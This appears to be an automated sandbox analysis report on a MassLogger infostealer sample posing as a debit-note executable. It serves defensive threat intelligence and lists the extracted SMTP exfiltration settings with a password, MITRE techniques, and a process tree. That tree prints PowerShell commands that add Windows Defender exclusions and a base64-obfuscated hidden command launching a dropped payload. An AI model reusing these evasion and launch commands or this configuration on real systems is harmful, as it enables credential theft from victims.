Analysis
- max time kernel
148s - max time network
145s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
10/09/2026, 20:46
General
- Target Debit note#202490304-01.exe
- Size 889KB
- Sample260910-zj88eaef63
- SHA256 f840ab670cff8c5a85b52a8133ad961aa8863abca0bcb1f12de1012e48d38dfb
Malware Config
Extracted
-
Protocol
smtp
-
Host
mail.freetrend.cc
-
Port
587
-
Username
-
Password
Payday2026
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
00-00-0000
-
host_password
Payday2026
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.freetrend.cc
-
ssl_slate
False
Signatures
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Executes dropped EXE 3 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 13 IoCs
- Suspicious use of AdjustPrivilegeToken 28 IoCs
- Suspicious use of WriteProcessMemory 15 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"1⤵
- Adds Run key to start application
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"2⤵
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C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"C:\Users\Admin\AppData\Local\Temp\Debit note#202490304-01.exe"2⤵
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$l2yro1=Get-Date;$yam11y=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$1bz4kk=$env:COMPUTERNAME;$zup3yj=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXHd4Ty5leGU=')));$i1xyyd=[System.Environment]::TickCount;& $yam11y -FilePath $zup3yj"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Roaming\wxO.exe"C:\Users\Admin\AppData\Roaming\wxO.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wxO.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
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C:\Users\Admin\AppData\Roaming\wxO.exe"C:\Users\Admin\AppData\Roaming\wxO.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\AppData\Roaming\wxO.exe"C:\Users\Admin\AppData\Roaming\wxO.exe"3⤵
- Executes dropped EXE
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_fdlfiigh.s1f.ps1
wxO.exe
memory/2900-39-0x0000000007000000-0x000000000701A000-memory.dmp
memory/2900-26-0x0000000005D40000-0x0000000005D8C000-memory.dmp
memory/2900-44-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/2900-41-0x0000000007270000-0x0000000007306000-memory.dmp
memory/2900-40-0x0000000007070000-0x000000000707A000-memory.dmp
memory/2900-38-0x0000000007640000-0x0000000007CBC000-memory.dmp
memory/2900-37-0x0000000006EC0000-0x0000000006F63000-memory.dmp
memory/2900-33-0x0000000070960000-0x00000000709AC000-memory.dmp
memory/2900-36-0x0000000006290000-0x00000000062B0000-memory.dmp
memory/2900-12-0x0000000002460000-0x0000000002496000-memory.dmp
memory/2900-13-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/2900-14-0x0000000004E80000-0x00000000054CA000-memory.dmp
memory/2900-32-0x0000000006E60000-0x0000000006E96000-memory.dmp
memory/2900-20-0x0000000005540000-0x00000000055A6000-memory.dmp
memory/2900-19-0x00000000054D0000-0x0000000005536000-memory.dmp
memory/2900-18-0x0000000004DB0000-0x0000000004DD2000-memory.dmp
memory/2900-25-0x0000000005C90000-0x0000000005CAE000-memory.dmp
memory/2900-16-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/2900-24-0x0000000005900000-0x0000000005C5B000-memory.dmp
memory/3356-57-0x0000000006D70000-0x0000000006E13000-memory.dmp
memory/3356-54-0x0000000070480000-0x00000000704CC000-memory.dmp
memory/3356-53-0x0000000005BA0000-0x0000000005BEC000-memory.dmp
memory/3356-51-0x00000000056C0000-0x0000000005A1B000-memory.dmp
memory/3384-15-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/3384-60-0x0000000006540000-0x0000000006702000-memory.dmp
memory/3384-59-0x0000000006220000-0x0000000006270000-memory.dmp
memory/3384-11-0x0000000000400000-0x000000000041E000-memory.dmp
memory/3384-45-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/3384-23-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/4220-8-0x0000000074302000-0x0000000074303000-memory.dmp
memory/4220-7-0x0000000005E10000-0x0000000005E2E000-memory.dmp
memory/4220-6-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/4220-1-0x0000000000FE0000-0x00000000010C4000-memory.dmp
memory/4220-0-0x0000000074302000-0x0000000074303000-memory.dmp
memory/4220-10-0x0000000009C60000-0x0000000009D18000-memory.dmp
memory/4220-2-0x0000000006130000-0x00000000066EA000-memory.dmp
memory/4220-9-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/4220-3-0x0000000005C10000-0x0000000005CA2000-memory.dmp
memory/4220-5-0x0000000005D50000-0x0000000005DEC000-memory.dmp
memory/4220-17-0x00000000742F0000-0x0000000074AAC000-memory.dmp
memory/4220-4-0x0000000005C00000-0x0000000005C0A000-memory.dmp
memory/5624-29-0x000001C064A40000-0x000001C064A62000-memory.dmp